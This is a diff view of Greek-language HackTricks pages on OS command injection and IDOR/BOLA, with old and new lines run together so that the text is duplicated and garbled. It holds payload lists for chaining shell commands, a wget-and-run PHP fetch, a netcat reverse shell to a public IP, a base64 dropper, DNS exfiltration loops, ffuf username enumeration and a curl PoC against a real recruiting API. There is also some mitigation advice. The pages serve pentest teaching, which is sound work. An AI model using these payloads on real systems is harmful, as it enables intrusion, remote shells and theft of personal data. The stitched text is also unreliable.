- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Τι είναι η εκτέλεση εντολών; ## Τι είναι command Injection?
Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο πάνω στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα. Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν attacker στον server που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
### Πλαίσιο ### Πλαίσιο
Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές. Ανάλογα με το **πού εγχέεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το περιβάλλον εντός εισαγωγικών** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
## Εκτέλεση/Εκτέλεση εντολών ## Command Injection/Execution
```bash ```bash
#Both Unix and Windows supported #Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED) ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported #Only unix supported
`ls` # `` `ls` # ``
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Περιορισμοί** Bypasses ### **Παρακάμψεις Περιορισμών**
Αν προσπαθείτε να εκτελέσετε **τυχαίες εντολές μέσα σε μια μηχανή linux** θα σας ενδιαφέρει να διαβάσετε για αυτούς τους **Bypasses:** Αν προσπαθείτε να εκτελέσετε **αυθαίρετες εντολές μέσα σε ένα linux μηχάνημα**, θα σας ενδιαφέρει να διαβάσετε για αυτές τις **παρακάμψεις:**
{{#ref}} {{#ref}}
@ -44,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
``` ```
### Παράμετροι ### Parameters
Εδώ είναι οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε επιθέσεις κώδικα και παρόμοιες ευπάθειες RCE (από [link](https://twitter.com/trbughunters/status/1283133356922884096)): Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και σε παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -74,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload} ?run={payload}
?print={payload} ?print={payload}
``` ```
### Χρονικά βασισμένη εξαγωγή δεδομένων ### Time based data exfiltration
Εξαγωγή δεδομένων: χαρακτήρα προς χαρακτήρα Εξαγωγή δεδομένων: char by char
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -90,7 +91,7 @@ sys 0m0.000s
``` ```
### DNS based data exfiltration ### DNS based data exfiltration
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, επίσης φιλοξενούμενο στο dnsbin.zhack.ca
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Online εργαλεία για τον έλεγχο της εξαγωγής δεδομένων βάσει DNS: Διαδικτυακά εργαλεία για τον έλεγχο εξαγωγής δεδομένων μέσω DNS:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
### Παράκαμψη φιλτραρίσματος ### Παράκαμψη φίλτρων
#### Windows #### Windows
``` ```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` vs `execFile`
Όταν ελέγχετε back-ends JavaScript/TypeScript, θα συναντήσετε συχνά το API `child_process` του Node.js. Όταν ελέγχετε back-ends σε JavaScript/TypeScript, θα συναντήσετε συχνά το Node.js `child_process` API.
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` δημιουργεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνδυάζεται στη συμβολοσειρά. `exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά.
**Mitigation:** χρησιμοποιήστε `execFile()``spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε επιχείρημα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται κανένα shell: **Mitigation:** χρησιμοποιήστε `execFile()``spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμη μέσω ενός μη αυθεντικοποιημένου γεγονότος WebSocket που τοποθετούσε δεδομένα ελεγχόμενα από τον επιτιθέμενο στο `id_user`, τα οποία στη συνέχεια ενσωματώνονταν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ιρλανδία 2024). Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη αυθεντικοποιημένου WebSocket event που τοποθέτησε στον `id_user` δεδομένα υπό τον έλεγχο του επιτιθέμενου, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
## Λίστα Ανίχνευσης Brute-Force ## Brute-Force Λίστα Ανίχνευσης
{{#ref}} {{#ref}}
@ -154,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,23 +2,22 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωρίσιμο δείκτη που ελέγχεται από τον χρήστη και χρησιμοποιείται **άμεσα** για να αποκτήσει πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών είναι εξουσιοδοτημένος** να έχει πρόσβαση/να τροποποιήσει αυτό το αντικείμενο. IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν identifier που μπορεί να ελεγχθεί από τον χρήστη και ο οποίος χρησιμοποιείται **directly** για να προσπελάσει ένα εσωτερικό αντικείμενο **without verifying that the caller is authorized** να προσπελάσει/τροποποιήσει αυτό το αντικείμενο. Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη αύξηση προνομίων, όπως την ανάγνωση ή τροποποίηση δεδομένων άλλων χρηστών και, στη χειρότερη περίπτωση, πλήρη takeover λογαριασμού ή μαζική εξαγωγή δεδομένων.
Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη κλιμάκωση προνομίων, όπως η ανάγνωση ή η τροποποίηση δεδομένων άλλων χρηστών και, στην χειρότερη περίπτωση, πλήρη κατάληψη λογαριασμού ή μαζική εξαγωγή δεδομένων.
--- ---
## 1. Αναγνώριση Πιθανών IDORs ## 1. Εντοπισμός πιθανών IDORs
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**: 1. Αναζητήστε **παραμέτρους που αναφέρονται σε αντικείμενο**:
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Ερώτημα: `?id=42`, `?invoice=2024-00001` * Query: `?id=42`, `?invoice=2024-00001`
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}` * Body / JSON: `{"user_id": 321, "order_id": 987}`
* Επικεφαλίδες / Cookies: `X-Client-ID: 4711` * Headers / Cookies: `X-Client-ID: 4711`
2. Προτιμήστε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`). 2. Προτιμήστε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Σημειώστε πότε οι αναγνωρίσιμοι δείκτες είναι **διαδοχικοί ή προβλέψιμοι** αν το ID σας είναι `64185742`, τότε το `64185741` πιθανώς υπάρχει. 3. Σημειώστε πότε οι identifiers είναι **αύξοντες ή προβλέψιμοι** αν το ID σας είναι `64185742`, τότε το `64185741` πιθανότατα υπάρχει.
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* σύνδεσμος στις σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs. 4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* link στις σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
5. Χρησιμοποιήστε μια **εξουσιοδοτημένη συνεδρία χαμηλών προνομίων** και αλλάξτε μόνο το ID **διατηρώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR. 5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος authorization είναι συνήθως ένδειξη IDOR.
### Γρήγορη χειροκίνητη παρέμβαση (Burp Repeater) ### Quick manual tampering (Burp Repeater)
``` ```
PUT /api/lead/cem-xhr HTTP/1.1 PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com Host: www.example.com
@ -27,7 +26,7 @@ Content-Type: application/json
{"lead_id":64185741} {"lead_id":64185741}
``` ```
### Αυτοματοποιημένη αρίθμηση (Burp Intruder / curl loop) ### Αυτοματοποιημένη απαρίθμηση (Burp Intruder / curl loop)
```bash ```bash
for id in $(seq 64185742 64185700); do for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -37,48 +36,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done done
``` ```
--- ---
## 2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο McHire Chatbot Platform (2025)
Κατά τη διάρκεια μιας αξιολόγησης της πλατφόρμας πρόσληψης **McHire** που υποστηρίζεται από το Paradox.ai, ανακαλύφθηκε το εξής IDOR: ### Error-response oracle for user/file enumeration
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. `/view.php?username=<u>&file=<f>`), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
- Μη υπάρχον username → "User not found"
- Λανθασμένο filename αλλά έγκυρη επέκταση → "File does not exist" (μερικές φορές εμφανίζει επίσης διαθέσιμα αρχεία)
- Λανθασμένη επέκταση → validation error
Με οποιαδήποτε επαληθευμένη συνεδρία, μπορείτε να fuzz την παράμετρο username κρατώντας ένα αβλαβές όνομα αρχείου και να φιλτράρετε με βάση το string "user not found" για να ανακαλύψετε έγκυρους χρήστες:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη των εγγράφων άλλων χρηστών και σε credential leakage.
---
## 2. Real-World Case Study McHire Chatbot Platform (2025)
Κατά την αξιολόγηση της πύλης προσλήψεων **McHire** που τροφοδοτείται από Paradox.ai, εντοπίστηκε το ακόλουθο IDOR:
* Endpoint: `PUT /api/lead/cem-xhr` * Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** λογαριασμό δοκιμής εστιατορίου * Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** test account εστιατορίου
* Body parameter: `{"lead_id": N}` 8-ψήφιος, **διαδοχικός** αριθμητικός αναγνωριστικός * Body parameter: `{"lead_id": N}` 8-ψήφιος, **ακολουθιακός** αριθμητικός αναγνωριστικός
Μειώνοντας το `lead_id`, ο δοκιμαστής ανέκτησε τυχαία πλήρη PII υποψηφίων (**όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας**) καθώς και ένα **JWT** καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας `1 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** αρχεία. Μειώνοντας το `lead_id`, ο δοκιμαστής απέκτησε πλήρες PII τυχαίων υποψηφίων (όνομα, e-mail, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα consumer **JWT** που επέτρεψε session hijacking. Η απαρίθμηση του εύρους `1 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** εγγραφές.
Αίτημα απόδειξης της έννοιας: Proof-of-Concept request:
```bash ```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \ -H 'Content-Type: application/json' \
-d '{"lead_id":64185741}' -d '{"lead_id":64185741}'
``` ```
Συνδυασμένο με **προεπιλεγμένα διαπιστευτήρια διαχειριστή** (`123456:123456`) που παραχώρησαν πρόσβαση στον λογαριασμό δοκιμής, η ευπάθεια οδήγησε σε μια κρίσιμη, εταιρική διαρροή δεδομένων. Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον test account, η ευπάθεια οδήγησε σε κρίσιμη, εταιρικής κλίμακας διαρροή δεδομένων.
--- ---
## 3. Επιπτώσεις του IDOR / BOLA ## 3. Επιπτώσεις του IDOR / BOLA
* Οριζόντια κλιμάκωση ανάγνωση/ενημέρωση/διαγραφή **δεδομένων άλλων χρηστών**. * Horizontal escalation ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
* Κατακόρυφη κλιμάκωση χρήστης με χαμηλά προνόμια αποκτά λειτουργικότητα μόνο για διαχειριστές. * Vertical escalation χρήστης με χαμηλά προνόμια αποκτά admin-only functionality.
* Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ID αιτούντων, τιμολόγια). * Μαζική διαρροή δεδομένων αν οι ταυτοποιητές είναι ακολουθιακοί (π.χ., applicant IDs, invoices).
* Κατάληψη λογαριασμού κλέβοντας tokens ή επαναφέροντας κωδικούς πρόσβασης άλλων χρηστών. * Κατάληψη λογαριασμού με κλοπή tokens ή επαναφορά κωδικών άλλων χρηστών.
--- ---
## 4. Μετριασμοί & Καλές Πρακτικές ## 4. Μετριασμοί & Καλές Πρακτικές
1. **Επιβολή εξουσιοδότησης σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`). 1. **Εφαρμόστε εξουσιοδότηση σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`).
2. Προτιμήστε **έμμεσες, μη μαντεύσιμες ταυτοποιήσεις** (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους ID. 2. Προτιμήστε **έμμεσα, μη προβλέψιμα αναγνωριστικά** (UUIDv4, ULID) αντί των auto-increment IDs.
3. Εκτελέστε την εξουσιοδότηση **στην πλευρά του διακομιστή**, ποτέ μην βασίζεστε σε κρυφά πεδία φόρμας ή ελέγχους UI. 3. Πραγματοποιείτε την εξουσιοδότηση **από την πλευρά του server**, μην βασίζεστε σε κρυφά πεδία φορμών ή UI controls.
4. Εφαρμόστε ελέγχους **RBAC / ABAC** σε ένα κεντρικό middleware. 4. Εφαρμόστε **RBAC / ABAC** ελέγχους σε ένα κεντρικό middleware.
5. Προσθέστε **περιορισμούς ρυθμού & καταγραφή** για να ανιχνεύσετε την αρίθμηση των ID. 5. Προσθέστε **rate-limiting & logging** για να εντοπίζετε την εξακρίβωση/αρίθμηση των IDs.
6. Δοκιμάστε την ασφάλεια κάθε νέας διεπαφής (μονάδα, ολοκλήρωση και DAST). 6. Δοκιμάζετε ασφάλεια κάθε νέο endpoint (unit, integration, and DAST).
--- ---
## 5. Εργαλεία ## 5. Εργαλεία
* **Επεκτάσεις BurpSuite**: Authorize, Auto Repeater, Turbo Intruder. * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse. * **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Projects στο Github**: `bwapp-idor-scanner`, `Blindy` (μαζική αναζήτηση IDOR). * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Αναφορές ## Αναφορές
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds) * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) * [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}